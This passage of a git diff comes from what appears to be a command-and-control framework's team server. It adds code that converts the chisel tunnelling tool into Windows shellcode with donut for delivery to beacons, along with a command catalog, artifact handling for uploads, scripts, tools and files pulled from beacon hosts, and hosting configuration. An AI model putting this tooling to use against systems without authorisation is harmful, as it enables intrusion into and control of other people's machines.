std::string arguments = joinTail(tokens, 1); + TeamServerShellcodeRequest shellcodeRequest; + shellcodeRequest.generator = "donut"; + shellcodeRequest.sourcePath = chiselPath.string(); + shellcodeRequest.sourceType = "dotnet_exe"; + shellcodeRequest.arch = arch; + shellcodeRequest.arguments = arguments; + shellcodeRequest.exitPolicy = "process"; + + TeamServerShellcodeResult shellcode = m_shellcodeService->generate(shellcodeRequest); + if (!shellcode.ok) + return handledError(c2Message, shellcode.message + "\n"); + + TeamServerGeneratedArtifactRequest artifactRequest; + artifactRequest.nameHint = "chisel-" + chiselPath.filename().string() + ".bin"; + artifactRequest.bytes = shellcode.bytes; + artifactRequest.platform = "windows"; + artifactRequest.arch = arch; + artifactRequest.source = shellcode.generator; + artifactRequest.description = "Generated shellcode for chisel."; + artifactRequest.tags = {"chisel", shellcode.sourceType}; + TeamServerGeneratedArtifactRecord artifact = m_artifactStore->store(artifactRequest); + if (artifact.path.empty()) + return handledError(c2Message, "Could not store generated shellcode artifact.\n"); + + ModulePreparedShellcodeTask task; + task.inputFile = artifact.path; + task.payload = shellcode.bytes; + task.executionMode = "process"; + task.displayCommand = arguments; + result.status = module->initPreparedShellcode(task, c2Message); + if (result.status == 0 && m_logger) + m_logger->info("chisel prepared shellcode artifact {}", artifact.path); + return result; +} diff --git a/teamServer/teamServer/TeamServerChiselCommandPreparer.hpp b/teamServer/teamServer/TeamServerChiselCommandPreparer.hpp new file mode 100644 index 0000000..06bfa3b --- /dev/null +++ b/teamServer/teamServer/TeamServerChiselCommandPreparer.hpp @@ -0,0 +1,35 @@ +#pragma once + +#include +#include +#include + +#include "TeamServerCommandPreparer.hpp" +#include "TeamServerGeneratedArtifactStore.hpp" +#include "TeamServerRuntimeConfig.hpp" +#include "TeamServerShellcodeService.hpp" +#include "modules/ModuleCmd/ModuleCmd.hpp" +#include "spdlog/logger.h" + +class TeamServerChiselCommandPreparer final : public TeamServerCommandPreparer +{ +public: + TeamServerChiselCommandPreparer( + std::shared_ptr logger, + TeamServerRuntimeConfig runtimeConfig, + std::shared_ptr shellcodeService, + std::shared_ptr artifactStore, + std::vector>& moduleCmd); + + bool canPrepare(const std::string& instruction) const override; + TeamServerCommandPreparerResult prepare( + const TeamServerCommandPreparerContext& context, + C2Message& c2Message) const override; + +private: + std::shared_ptr m_logger; + TeamServerRuntimeConfig m_runtimeConfig; + std::shared_ptr m_shellcodeService; + std::shared_ptr m_artifactStore; + std::vector>& m_moduleCmd; +}; diff --git a/teamServer/teamServer/TeamServerCommandCatalog.cpp b/teamServer/teamServer/TeamServerCommandCatalog.cpp new file mode 100644 index 0000000..d02ce55 --- /dev/null +++ b/teamServer/teamServer/TeamServerCommandCatalog.cpp @@ -0,0 +1,238 @@ +#include "TeamServerCommandCatalog.hpp" + +#include +#include +#include +#include +#include +#include +#include +#include + +namespace fs = std::filesystem; +using json = nlohmann::json; + +namespace +{ +std::string toLower(std::string value) +{ + std::transform(value.begin(), value.end(), value.begin(), [](unsigned char c) + { + return static_cast(std::tolower(c)); + }); + return value; +} + +std::string jsonString(const json& input, const char* key, const std::string& fallback = "") +{ + auto it = input.find(key); + if (it == input.end() || !it->is_string()) + return fallback; + return it->get(); +} + +bool jsonBool(const json& input, const char* key, bool fallback = false) +{ + auto it = input.find(key); + if (it == input.end() || !it->is_boolean()) + return fallback; + return it->get(); +} + +std::vector jsonStringList(const json& input, const char* key) +{ + std::vector values; + auto it = input.find(key); + if (it == input.end() || !it->is_array()) + return values; + + for (const auto& value : *it) + { + if (value.is_string()) + values.push_back(value.get()); + } + return values; +} + +bool containsCaseInsensitive(const std::string& haystack, const std::string& needle) +{ + if (needle.empty()) + return true; + return toLower(haystack).find(toLower(needle)) != std::string::npos; +} + +bool matchesExact(const std::string& requested, const std::string& actual) +{ + return requested.empty() || toLower(requested) == toLower(actual); +} + +bool listContainsOrAny(const std::vector& values, const std::string& requested) +{ + if (requested.empty()) + return true; + + const std::string requestedLower = toLower(requested); + for (const std::string& value : values) + { + const std::string valueLower = toLower(value); + if (valueLower == requestedLower || valueLower == "any") + return true; + } + return false; +} + +bool matchesQuery(const TeamServerCommandSpecRecord& command, const TeamServerCommandQuery& query) +{ + return matchesExact(query.kind, command.kind) + && matchesExact(query.target, command.target) + && listContainsOrAny(command.platforms, query.platform) + && containsCaseInsensitive(command.name, query.nameContains); +} + +TeamServerCommandArtifactFilter parseArtifactFilter(const json& input) +{ + TeamServerCommandArtifactFilter filter; + filter.category = jsonString(input, "category"); + filter.scope = jsonString(input, "scope"); + filter.target = jsonString(input, "target"); + filter.platform = jsonString(input, "platform"); + filter.arch = jsonString(input, "arch"); + filter.runtime = jsonString(input, "runtime"); + filter.nameContains = jsonString(input, "name_contains"); + filter.format = jsonString(input, "format"); + return filter; +} + +void addArtifactFilter(TeamServerCommandArgSpec& arg, TeamServerCommandArtifactFilter filter) +{ + arg.artifactFilters.push_back(std::move(filter)); + arg.artifactFilter = arg.artifactFilters.front(); + arg.hasArtifactFilter = true; +} + +TeamServerCommandArgSpec parseArgSpec(const json& input) +{ + TeamServerCommandArgSpec arg; + arg.name = jsonString(input, "name"); + arg.type = jsonString(input, "type", "text"); + arg.required = jsonBool(input, "required", false); + arg.description = jsonString(input, "description"); + arg.values = jsonStringList(input, "values"); + arg.variadic = jsonBool(input, "variadic", false); + arg.completionParents = jsonStringList(input, "completion_parents"); + + auto artifactFilterIt = input.find("artifact_filter"); + if (artifactFilterIt != input.end() && artifactFilterIt->is_object()) + { + addArtifactFilter(arg, parseArtifactFilter(*artifactFilterIt)); + } + + auto artifactFiltersIt = input.find("artifact_filters"); + if (artifactFiltersIt != input.end() && artifactFiltersIt->is_array()) + { + for (const auto& artifactFilter : *artifactFiltersIt) + { + if (artifactFilter.is_object()) + addArtifactFilter(arg, parseArtifactFilter(artifactFilter)); + } + } + return arg; +} + +TeamServerCommandSpecRecord parseCommandSpec(const fs::path& path) +{ + std::ifstream input(path); + if (!input.good()) + return {}; + + json spec = json::parse(input, nullptr, false); + if (spec.is_discarded() || !spec.is_object()) + return {}; + + TeamServerCommandSpecRecord command; + command.name = jsonString(spec, "name"); + command.displayName = jsonString(spec, "display_name", command.name); + command.kind = jsonString(spec, "kind", "module"); + command.description = jsonString(spec, "description"); + command.target = jsonString(spec, "target", "beacon"); + command.requiresSession = jsonBool(spec, "requires_session", true); + command.platforms = jsonStringList(spec, "platforms"); + command.archs = jsonStringList(spec, "archs"); + command.examples = jsonStringList(spec, "examples"); + command.source = jsonString(spec, "source", "manifest"); + command.commandTemplate = jsonString(spec, "command_template"); + command.internalPath = path.string(); + + auto argsIt = spec.find("args"); + if (argsIt != spec.end() && argsIt->is_array()) + { + for (const auto& arg : *argsIt) + { + if (arg.is_object()) + command.args.push_back(parseArgSpec(arg)); + } + } + + if (command.platforms.empty()) + command.platforms.push_back("any"); + if (command.archs.empty()) + command.archs.push_back("any"); + + return command; +} + +std::vector loadManifestCommands(const fs::path& root) +{ + std::vector commands; + std::error_code ec; + if (root.empty() || !fs::exists(root, ec) || !fs::is_directory(root, ec)) + return commands; + + fs::recursive_directory_iterator iterator(root, fs::directory_options::skip_permission_denied, ec); + const fs::recursive_directory_iterator end; + if (ec) + return commands; + + for (; iterator != end; iterator.increment(ec)) + { + if (ec) + { + ec.clear(); + continue; + } + const fs::path path = iterator->path(); + if (!fs::is_regular_file(path, ec) || path.extension() != ".json") + continue; + + TeamServerCommandSpecRecord command = parseCommandSpec(path); + if (!command.name.empty()) + commands.push_back(std::move(command)); + } + return commands; +} + +bool sortCommands(const TeamServerCommandSpecRecord& left, const TeamServerCommandSpecRecord& right) +{ + return std::tie(left.kind, left.target, left.name, left.source) + < std::tie(right.kind, right.target, right.name, right.source); +} +} // namespace + +TeamServerCommandCatalog::TeamServerCommandCatalog(TeamServerRuntimeConfig runtimeConfig) + : m_runtimeConfig(std::move(runtimeConfig)) +{ +} + +std::vector TeamServerCommandCatalog::listCommands(const TeamServerCommandQuery& query) const +{ + std::vector commands = loadManifestCommands(m_runtimeConfig.commandSpecsDirectoryPath); + std::vector filteredCommands; + for (const TeamServerCommandSpecRecord& command : commands) + { + if (matchesQuery(command, query)) + filteredCommands.push_back(command); + } + + std::sort(filteredCommands.begin(), filteredCommands.end(), sortCommands); + return filteredCommands; +} diff --git a/teamServer/teamServer/TeamServerCommandCatalog.hpp b/teamServer/teamServer/TeamServerCommandCatalog.hpp new file mode 100644 index 0000000..cab086b --- /dev/null +++ b/teamServer/teamServer/TeamServerCommandCatalog.hpp @@ -0,0 +1,68 @@ +#pragma once + +#include +#include + +#include "TeamServerRuntimeConfig.hpp" + +struct TeamServerCommandArtifactFilter +{ + std::string category; + std::string scope; + std::string target; + std::string platform; + std::string arch; + std::string runtime; + std::string nameContains; + std::string format; +}; + +struct TeamServerCommandArgSpec +{ + std::string name; + std::string type; + bool required = false; + std::string description; + std::vector values; + TeamServerCommandArtifactFilter artifactFilter; + std::vector artifactFilters; + bool hasArtifactFilter = false; + bool variadic = false; + std::vector completionParents; +}; + +struct TeamServerCommandSpecRecord +{ + std::string name; + std::string displayName; + std::string kind; + std::string description; + std::string target; + bool requiresSession = false; + std::vector platforms; + std::vector archs; + std::vector args; + std::vector examples; + std::string source; + std::string commandTemplate; + std::string internalPath; +}; + +struct TeamServerCommandQuery +{ + std::string kind; + std::string target; + std::string platform; + std::string nameContains; +}; + +class TeamServerCommandCatalog +{ +public: + explicit TeamServerCommandCatalog(TeamServerRuntimeConfig runtimeConfig); + + std::vector listCommands(const TeamServerCommandQuery& query = {}) const; + +private: + TeamServerRuntimeConfig m_runtimeConfig; +}; diff --git a/teamServer/teamServer/TeamServerCommandCatalogService.cpp b/teamServer/teamServer/TeamServerCommandCatalogService.cpp new file mode 100644 index 0000000..70320f3 --- /dev/null +++ b/teamServer/teamServer/TeamServerCommandCatalogService.cpp @@ -0,0 +1,96 @@ +#include "TeamServerCommandCatalogService.hpp" + +#include +#include +#include + +TeamServerCommandCatalogService::TeamServerCommandCatalogService( + std::shared_ptr logger, + TeamServerCommandCatalog catalog) + : m_logger(std::move(logger)), + m_catalog(std::move(catalog)) +{ +} + +grpc::Status TeamServerCommandCatalogService::listCommands( + const teamserverapi::CommandQuery& query, + const CommandWriter& writer) const +{ + TeamServerCommandQuery catalogQuery; + catalogQuery.kind = query.kind(); + catalogQuery.target = query.target(); + catalogQuery.platform = query.platform(); + catalogQuery.nameContains = query.name_contains(); + + const std::vector commands = m_catalog.listCommands(catalogQuery); + m_logger->debug("ListCommands returned {0} command(s)", commands.size()); + + for (const TeamServerCommandSpecRecord& command : commands) + { + if (!writer(toProto(command))) + break; + } + return grpc::Status::OK; +} + +teamserverapi::CommandSpec TeamServerCommandCatalogService::toProto(const TeamServerCommandSpecRecord& command) +{ + teamserverapi::CommandSpec spec; + spec.set_name(command.name); + spec.set_display_name(command.displayName); + spec.set_kind(command.kind); + spec.set_description(command.description); + spec.set_target(command.target); + spec.set_requires_session(command.requiresSession); + spec.set_source(command.source); + spec.set_command_template(command.commandTemplate); + + for (const std::string& platform : command.platforms) + spec.add_platforms(platform); + for (const std::string& arch : command.archs) + spec.add_archs(arch); + for (const std::string& example : command.examples) + spec.add_examples(example); + + for (const TeamServerCommandArgSpec& arg : command.args) + { + teamserverapi::CommandArgSpec* argSpec = spec.add_args(); + argSpec->set_name(arg.name); + argSpec->set_type(arg.type); + argSpec->set_required(arg.required); + argSpec->set_description(arg.description); + argSpec->set_variadic(arg.variadic); + for (const std::string& value : arg.values) + argSpec->add_values(value); + for (const std::string& parent : arg.completionParents) + argSpec->add_completion_parents(parent); + + if (arg.hasArtifactFilter) + { + teamserverapi::ArtifactQuery* filter = argSpec->mutable_artifact_filter(); + filter->set_category(arg.artifactFilter.category); + filter->set_target(arg.artifactFilter.target); + filter->set_scope(arg.artifactFilter.scope); + filter->set_platform(arg.artifactFilter.platform); + filter->set_arch(arg.artifactFilter.arch); + filter->set_runtime(arg.artifactFilter.runtime); + filter->set_name_contains(arg.artifactFilter.nameContains); + filter->set_format(arg.artifactFilter.format); + } + + for (const TeamServerCommandArtifactFilter& artifactFilter : arg.artifactFilters) + { + teamserverapi::ArtifactQuery* filter = argSpec->add_artifact_filters(); + filter->set_category(artifactFilter.category); + filter->set_target(artifactFilter.target); + filter->set_scope(artifactFilter.scope); + filter->set_platform(artifactFilter.platform); + filter->set_arch(artifactFilter.arch); + filter->set_runtime(artifactFilter.runtime); + filter->set_name_contains(artifactFilter.nameContains); + filter->set_format(artifactFilter.format); + } + } + + return spec; +} diff --git a/teamServer/teamServer/TeamServerCommandCatalogService.hpp b/teamServer/teamServer/TeamServerCommandCatalogService.hpp new file mode 100644 index 0000000..c707d12 --- /dev/null +++ b/teamServer/teamServer/TeamServerCommandCatalogService.hpp @@ -0,0 +1,30 @@ +#pragma once + +#include +#include + +#include + +#include "TeamServerApi.pb.h" +#include "TeamServerCommandCatalog.hpp" +#include "spdlog/logger.h" + +class TeamServerCommandCatalogService +{ +public: + using CommandWriter = std::function; + + TeamServerCommandCatalogService( + std::shared_ptr logger, + TeamServerCommandCatalog catalog); + + grpc::Status listCommands( + const teamserverapi::CommandQuery& query, + const CommandWriter& writer) const; + +private: + static teamserverapi::CommandSpec toProto(const TeamServerCommandSpecRecord& command); + + std::shared_ptr m_logger; + TeamServerCommandCatalog m_catalog; +}; diff --git a/teamServer/teamServer/TeamServerCommandPreparationService.cpp b/teamServer/teamServer/TeamServerCommandPreparationService.cpp index 73f9ccb..044c8bd 100644 --- a/teamServer/teamServer/TeamServerCommandPreparationService.cpp +++ b/teamServer/teamServer/TeamServerCommandPreparationService.cpp @@ -3,6 +3,7 @@ #include #include #include +#include #include "TeamServerRuntimeConfig.hpp" @@ -10,13 +11,15 @@ namespace fs = std::filesystem; TeamServerCommandPreparationService::TeamServerCommandPreparationService( std::shared_ptr logger, - std::string teamServerModulesDirectoryPath, + TeamServerRuntimeConfig runtimeConfig, CommonCommands& commonCommands, - std::vector>& moduleCmd) + std::vector>& moduleCmd, + std::vector> preparers) : m_logger(std::move(logger)), - m_teamServerModulesDirectoryPath(std::move(teamServerModulesDirectoryPath)), + m_runtimeConfig(std::move(runtimeConfig)), m_commonCommands(commonCommands), - m_moduleCmd(moduleCmd) + m_moduleCmd(moduleCmd), + m_preparers(std::move(preparers)) { } @@ -75,11 +78,30 @@ int TeamServerCommandPreparationService::prepareMessage( int res = 0; const std::string instruction = splitedCmd[0]; - std::string normalizedWindowsArch = TeamServerRuntimeConfig::normalizeWindowsArch(windowsArch); - if (isWindows && normalizedWindowsArch.empty()) - normalizedWindowsArch = "x64"; + std::string normalizedTargetArch = isWindows + ? TeamServerRuntimeConfig::normalizeWindowsArch(windowsArch) + : TeamServerRuntimeConfig::normalizeLinuxArch(windowsArch); + if (normalizedTargetArch.empty()) + normalizedTargetArch = isWindows ? m_runtimeConfig.defaultWindowsArch : m_runtimeConfig.defaultLinuxArch; bool isModuleFound = false; + TeamServerCommandPreparerContext preparerContext; + preparerContext.input = input; + preparerContext.tokens = splitedCmd; + preparerContext.isWindows = isWindows; + preparerContext.windowsArch = normalizedTargetArch; + for (const auto& preparer : m_preparers) + { + if (!preparer || !preparer->canPrepare(instruction)) + continue; + TeamServerCommandPreparerResult prepared = preparer->prepare(preparerContext, c2Message); + if (prepared.handled) + { + m_logger->trace("prepMsg end"); + return prepared.status; + } + } + for (int i = 0; i < m_commonCommands.getNumberOfCommand(); i++) { if (instruction != m_commonCommands.getCommand(i)) @@ -100,10 +122,10 @@ int TeamServerCommandPreparationService::prepareMessage( if (!((param.size() >= 3 && param.substr(param.size() - 3) == ".so") || (param.size() >= 4 && param.substr(param.size() - 3) == ".dll"))) { - m_logger->debug("Translate instruction to module name to load in {0}", m_teamServerModulesDirectoryPath.c_str()); + m_logger->debug("Translate instruction to module name to load in {0}", m_runtimeConfig.teamServerModulesDirectoryPath.c_str()); try { - for (const auto& entry : fs::recursive_directory_iterator(m_teamServerModulesDirectoryPath)) + for (const auto& entry : fs::recursive_directory_iterator(m_runtimeConfig.teamServerModulesDirectoryPath)) { if (!fs::is_regular_file(entry.path()) || entry.path().extension() != ".so") continue; @@ -126,15 +148,15 @@ int TeamServerCommandPreparationService::prepareMessage( } } - m_logger->debug("Preparing common command={0} isWindows={1} windowsArch={2}", instruction, isWindows, normalizedWindowsArch); - res = m_commonCommands.init(splitedCmd, c2Message, isWindows, normalizedWindowsArch); + m_logger->debug("Preparing common command={0} isWindows={1} targetArch={2}", instruction, isWindows, normalizedTargetArch); + res = m_commonCommands.init(splitedCmd, c2Message, isWindows, normalizedTargetArch); if (instruction == LoadModuleInstruction && res == 0) { m_logger->info( - "loadModule resolved module input={0} isWindows={1} windowsArch={2} path={3}", + "loadModule resolved module input={0} isWindows={1} targetArch={2} path={3}", splitedCmd.size() > 1 ? splitedCmd[1] : "", isWindows, - normalizedWindowsArch, + normalizedTargetArch, m_commonCommands.getLastResolvedModulePath()); } isModuleFound = true; @@ -146,8 +168,8 @@ int TeamServerCommandPreparationService::prepareMessage( continue; splitedCmd[0] = (*it)->getName(); - (*it)->setWindowsArch(normalizedWindowsArch); - m_logger->debug("Preparing module command={0} isWindows={1} windowsArch={2}", splitedCmd[0], isWindows, normalizedWindowsArch); + (*it)->setWindowsArch(normalizedTargetArch); + m_logger->debug("Preparing module command={0} isWindows={1} targetArch={2}", splitedCmd[0], isWindows, normalizedTargetArch); res = (*it)->init(splitedCmd, c2Message); isModuleFound = true; } diff --git a/teamServer/teamServer/TeamServerCommandPreparationService.hpp b/teamServer/teamServer/TeamServerCommandPreparationService.hpp index 8d0b639..4204003 100644 --- a/teamServer/teamServer/TeamServerCommandPreparationService.hpp +++ b/teamServer/teamServer/TeamServerCommandPreparationService.hpp @@ -4,6 +4,8 @@ #include #include +#include "TeamServerCommandPreparer.hpp" +#include "TeamServerRuntimeConfig.hpp" #include "modules/ModuleCmd/CommonCommand.hpp" #include "modules/ModuleCmd/ModuleCmd.hpp" #include "spdlog/logger.h" @@ -13,9 +15,10 @@ class TeamServerCommandPreparationService public: TeamServerCommandPreparationService( std::shared_ptr logger, - std::string teamServerModulesDirectoryPath, + TeamServerRuntimeConfig runtimeConfig, CommonCommands& commonCommands, - std::vector>& moduleCmd); + std::vector>& moduleCmd, + std::vector> preparers = {}); int prepareMessage( const std::string& input, @@ -28,7 +31,8 @@ class TeamServerCommandPreparationService void splitInputCmd(const std::string& input, std::vector& splitedList) const; std::shared_ptr m_logger; - std::string m_teamServerModulesDirectoryPath; + TeamServerRuntimeConfig m_runtimeConfig; CommonCommands& m_commonCommands; std::vector>& m_moduleCmd; + std::vector> m_preparers; }; diff --git a/teamServer/teamServer/TeamServerCommandPreparer.hpp b/teamServer/teamServer/TeamServerCommandPreparer.hpp new file mode 100644 index 0000000..b738640 --- /dev/null +++ b/teamServer/teamServer/TeamServerCommandPreparer.hpp @@ -0,0 +1,31 @@ +#pragma once + +#include +#include + +class C2Message; + +struct TeamServerCommandPreparerContext +{ + std::string input; + std::vector tokens; + bool isWindows = true; + std::string windowsArch = "x64"; +}; + +struct TeamServerCommandPreparerResult +{ + bool handled = false; + int status = 0; +}; + +class TeamServerCommandPreparer +{ +public: + virtual ~TeamServerCommandPreparer() = default; + + virtual bool canPrepare(const std::string& instruction) const = 0; + virtual TeamServerCommandPreparerResult prepare( + const TeamServerCommandPreparerContext& context, + C2Message& c2Message) const = 0; +}; diff --git a/teamServer/teamServer/TeamServerCommandTracking.hpp b/teamServer/teamServer/TeamServerCommandTracking.hpp index dd8c689..2c316cf 100644 --- a/teamServer/teamServer/TeamServerCommandTracking.hpp +++ b/teamServer/teamServer/TeamServerCommandTracking.hpp @@ -9,4 +9,5 @@ struct BeaconCommandContext std::string listenerHash; std::string commandLine; std::string instruction; + std::string outputFile; }; diff --git a/teamServer/teamServer/TeamServerConfig.json b/teamServer/teamServer/TeamServerConfig.json index 40e8751..d89a9d2 100644 --- a/teamServer/teamServer/TeamServerConfig.json +++ b/teamServer/teamServer/TeamServerConfig.json @@ -1,15 +1,15 @@ { "//LogLevelValues": "trace, debug, info, warning, error, fatal", "LogLevel": "info", - "TeamServerModulesDirectoryPath": "../TeamServerModules/", - "LinuxModulesDirectoryPath": "../LinuxModules/", - "WindowsModulesDirectoryPath": "../WindowsModules/", - "LinuxBeaconsDirectoryPath": "../LinuxBeacons/", - "WindowsBeaconsDirectoryPath": "../WindowsBeacons/", + "ReleaseRoot": "../", + "DataRoot": "../data/", "DefaultWindowsArch": "x64", "SupportedWindowsArchs": ["x86", "x64", "arm64"], - "ToolsDirectoryPath": "../Tools/", - "ScriptsDirectoryPath": "../Scripts/", + "DefaultLinuxArch": "x64", + "SupportedLinuxArchs": ["x64"], + "UploadedArtifactsDirectoryPath": "../data/UploadedArtifacts/", + "GeneratedArtifactsDirectoryPath": "../data/GeneratedArtifacts/", + "HostedArtifactsDirectoryPath": "../data/GeneratedArtifacts/hosted/", "//Host contacted by the beacon": "3 following value are related to the host, probably a proxy, that will be contacted by the beacon, if DomainName is filled it will be selected first, then the ExposedIp and then the IpInterface", "DomainName": "", "ExposedIp": "", @@ -33,7 +33,7 @@ "/test/ws" ], "uriFileDownload": "/images/commun/1.084.4584/serv/", - "downloadFolder": "../www", + "downloadFolder": "../data/GeneratedArtifacts/hosted", "server": { "headers": { "Access-Control-Allow-Origin": "true", @@ -59,7 +59,7 @@ "/test/ws" ], "uriFileDownload": "/images/commun/1.084.4584/serv/", - "downloadFolder": "../www", + "downloadFolder": "../data/GeneratedArtifacts/hosted", "server": { "headers": { "Access-Control-Allow-Origin": "true", diff --git a/teamServer/teamServer/TeamServerFileArtifactService.cpp b/teamServer/teamServer/TeamServerFileArtifactService.cpp new file mode 100644 index 0000000..020b171 --- /dev/null +++ b/teamServer/teamServer/TeamServerFileArtifactService.cpp @@ -0,0 +1,517 @@ +#include "TeamServerFileArtifactService.hpp" + +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#include "nlohmann/json.hpp" + +namespace fs = std::filesystem; +using json = nlohmann::json; + +namespace +{ +constexpr const char* PendingDownloadSuffix = ".artifact.pending.json"; + +std::string toLower(std::string value) +{ + std::transform(value.begin(), value.end(), value.begin(), [](unsigned char c) + { + return static_cast(std::tolower(c)); + }); + return value; +} + +std::string platformName(bool isWindows) +{ + return isWindows ? "windows" : "linux"; +} + +std::string normalizeArch(bool isWindows, const std::string& arch, const TeamServerRuntimeConfig& runtimeConfig) +{ + std::string normalized = isWindows + ? TeamServerRuntimeConfig::normalizeWindowsArch(arch) + : TeamServerRuntimeConfig::normalizeLinuxArch(arch); + if (normalized.empty()) + normalized = isWindows ? runtimeConfig.defaultWindowsArch : runtimeConfig.defaultLinuxArch; + return normalized.empty() ? "any" : normalized; +} + +std::string basename(std::string value) +{ + const auto slash = value.find_last_of("/\\"); + if (slash != std::string::npos) + value = value.substr(slash + 1); + return value; +} + +std::string sanitizeName(std::string value) +{ + for (char& ch : value) + { + const unsigned char c = static_cast(ch); + if (!std::isalnum(c) && ch != '.' && ch != '-' && ch != '_') + ch = '_'; + } + value.erase(std::remove(value.begin(), value.end(), '/'), value.end()); + value.erase(std::remove(value.begin(), value.end(), '\\'), value.end()); + if (value.empty()) + value = "artifact.bin"; + return value; +} + +std::string detectFormat(const std::string& name) +{ + fs::path path(name); + std::string extension = path.extension().string(); + if (extension.empty()) + return "binary"; + if (extension.front() == '.') + extension.erase(extension.begin()); + extension = toLower(extension); + return extension.empty() ? "binary" : extension; +} + +std::string uniquePrefix() +{ + const auto now = std::chrono::system_clock::now().time_since_epoch().count(); + std::random_device randomDevice; + std::mt19937 generator(randomDevice()); + std::uniform_int_distribution distribution(0, 0xffff); + + std::ostringstream output; + output << now << "-" << std::hex << distribution(generator); + return output.str(); +} + +bool readFile(const fs::path& path, std::string& bytes) +{ + std::ifstream input(path, std::ios::binary); + if (!input.good()) + return false; + bytes.assign(std::istreambuf_iterator(input), {}); + return input.good() || input.eof(); +} + +bool matchesSelector(const TeamServerArtifactRecord& artifact, const std::string& selector) +{ + const std::string loweredSelector = toLower(selector); + return toLower(artifact.artifactId) == loweredSelector + || toLower(artifact.name) == loweredSelector + || toLower(artifact.displayName) == loweredSelector + || toLower(basename(artifact.name)) == loweredSelector + || toLower(basename(artifact.displayName)) == loweredSelector; +} + +const TeamServerArtifactRecord* findMatchingArtifact( + const std::vector& artifacts, + const std::string& selector) +{ + const auto artifact = std::find_if( + artifacts.begin(), + artifacts.end(), + [&](const TeamServerArtifactRecord& candidate) + { + return matchesSelector(candidate, selector); + }); + if (artifact == artifacts.end()) + return nullptr; + return &(*artifact); +} + +fs::path pendingPathFor(const std::string& artifactPath) +{ + return fs::path(artifactPath + PendingDownloadSuffix); +} + +bool isSuccess(const C2Message& c2Message) +{ + return toLower(c2Message.returnvalue()) == "success"; +} + +std::string jsonString(const json& input, const char* key, const std::string& fallback = "") +{ + auto it = input.find(key); + if (it == input.end() || !it->is_string()) + return fallback; + return it->get(); +} + +std::vector jsonStringList(const json& input, const char* key) +{ + std::vector values; + auto it = input.find(key); + if (it == input.end() || !it->is_array()) + return values; + for (const auto& value : *it) + { + if (value.is_string()) + values.push_back(value.get()); + } + return values; +} + +bool jsonBool(const json& input, const char* key, bool fallback = false) +{ + auto it = input.find(key); + if (it == input.end() || !it->is_boolean()) + return fallback; + return it->get(); +} +} // namespace + +TeamServerFileArtifactService::TeamServerFileArtifactService( + std::shared_ptr logger, + TeamServerRuntimeConfig runtimeConfig, + std::shared_ptr generatedArtifactStore) + : m_logger(std::move(logger)), + m_runtimeConfig(std::move(runtimeConfig)), + m_generatedArtifactStore(std::move(generatedArtifactStore)) +{ +} + +TeamServerPreparedInputArtifact TeamServerFileArtifactService::resolveUploadArtifact( + const std::string& selector, + bool isWindows, + const std::string& arch) const +{ + TeamServerPreparedInputArtifact result; + if (selector.empty()) + { + result.message = "Missing upload artifact."; + return result; + } + + TeamServerArtifactQuery query; + query.category = "upload"; + query.scope = "operator"; + query.target = "beacon"; + query.platform = platformName(isWindows); + query.arch = normalizeArch(isWindows, arch, m_runtimeConfig); + + TeamServerArtifactCatalog catalog(m_runtimeConfig); + const std::vector artifacts = catalog.listArtifacts(query); + const TeamServerArtifactRecord* artifact = findMatchingArtifact(artifacts, selector); + + if (artifact == nullptr) + { + result.message = "Upload artifact not found: " + selector + + ". Put files under UploadedArtifacts/" + + platformName(isWindows) + "/" + query.arch + + " or UploadedArtifacts/Any/any."; + return result; + } + + std::string bytes; + if (!readFile(artifact->internalPath, bytes)) + { + result.message = "Upload artifact could not be read: " + artifact->name; + return result; + } + + result.ok = true; + result.artifact = *artifact; + result.bytes = std::move(bytes); + return result; +} + +TeamServerPreparedInputArtifact TeamServerFileArtifactService::resolveScriptArtifact( + const std::string& selector, + bool isWindows, + const std::string& arch) const +{ + TeamServerPreparedInputArtifact result; + if (selector.empty()) + { + result.message = "Missing script artifact."; + return result; + } + + TeamServerArtifactQuery query; + query.category = "script"; + query.scope = "server"; + query.target = "beacon"; + query.platform = platformName(isWindows); + query.arch = normalizeArch(isWindows, arch, m_runtimeConfig); + + TeamServerArtifactCatalog catalog(m_runtimeConfig); + const std::vector artifacts = catalog.listArtifacts(query); + const TeamServerArtifactRecord* artifact = findMatchingArtifact(artifacts, selector); + + std::vector uploadArtifacts; + if (artifact == nullptr) + { + TeamServerArtifactQuery uploadQuery; + uploadQuery.category = "upload"; + uploadQuery.scope = "operator"; + uploadQuery.target = "beacon"; + uploadQuery.platform = query.platform; + uploadQuery.arch = query.arch; + uploadArtifacts = catalog.listArtifacts(uploadQuery); + artifact = findMatchingArtifact(uploadArtifacts, selector); + } + + if (artifact == nullptr) + { + result.message = "Script artifact not found: " + selector + + ". Put scripts under Scripts/" + + platformName(isWindows) + + " or Scripts/Any, or upload script files under UploadedArtifacts/" + + platformName(isWindows) + "/" + query.arch + + " or UploadedArtifacts/Any/any."; + return result; + } + + std::string bytes; + if (!readFile(artifact->internalPath, bytes)) + { + result.message = "Script artifact could not be read: " + artifact->name; + return result; + } + + result.ok = true; + result.artifact = *artifact; + result.bytes = std::move(bytes); + return result; +} + +TeamServerPreparedInputArtifact TeamServerFileArtifactService::resolveToolArtifact( + const std::string& selector, + bool isWindows, + const std::string& arch) const +{ + TeamServerPreparedInputArtifact result; + if (selector.empty()) + { + result.message = "Missing tool artifact."; + return result; + } + + TeamServerArtifactQuery query; + query.category = "tool"; + query.scope = "server"; + query.target = "teamserver"; + query.platform = platformName(isWindows); + query.arch = normalizeArch(isWindows, arch, m_runtimeConfig); + query.runtime = "any"; + + TeamServerArtifactCatalog catalog(m_runtimeConfig); + const std::vector artifacts = catalog.listArtifacts(query); + const auto artifact = std::find_if( + artifacts.begin(), + artifacts.end(), + [&](const TeamServerArtifactRecord& candidate) + { + return matchesSelector(candidate, selector); + }); + + if (artifact == artifacts.end()) + { + result.message = "Tool artifact not found: " + selector + + ". Put tools under Tools/" + + platformName(isWindows) + "/" + query.arch + + " or Tools/Any/any."; + return result; + } + + std::string bytes; + if (!readFile(artifact->internalPath, bytes)) + { + result.message = "Tool artifact could not be read: " + artifact->name; + return result; + } + + result.ok = true; + result.artifact = *artifact; + result.bytes = std::move(bytes); + return result; +} + +TeamServerPreparedDownloadArtifact TeamServerFileArtifactService::prepareDownloadArtifact( + const std::string& remotePath, + const std::string& nameHint, + bool isWindows, + const std::string& arch) const +{ + TeamServerGeneratedFileArtifactSpec spec; + spec.remotePath = remotePath; + spec.nameHint = nameHint; + spec.category = "download"; + spec.source = "beacon"; + spec.description = "Downloaded from beacon path: " + remotePath; + spec.tags = {"download"}; + spec.isWindows = isWindows; + spec.arch = arch; + return prepareGeneratedFileArtifact(spec); +} + 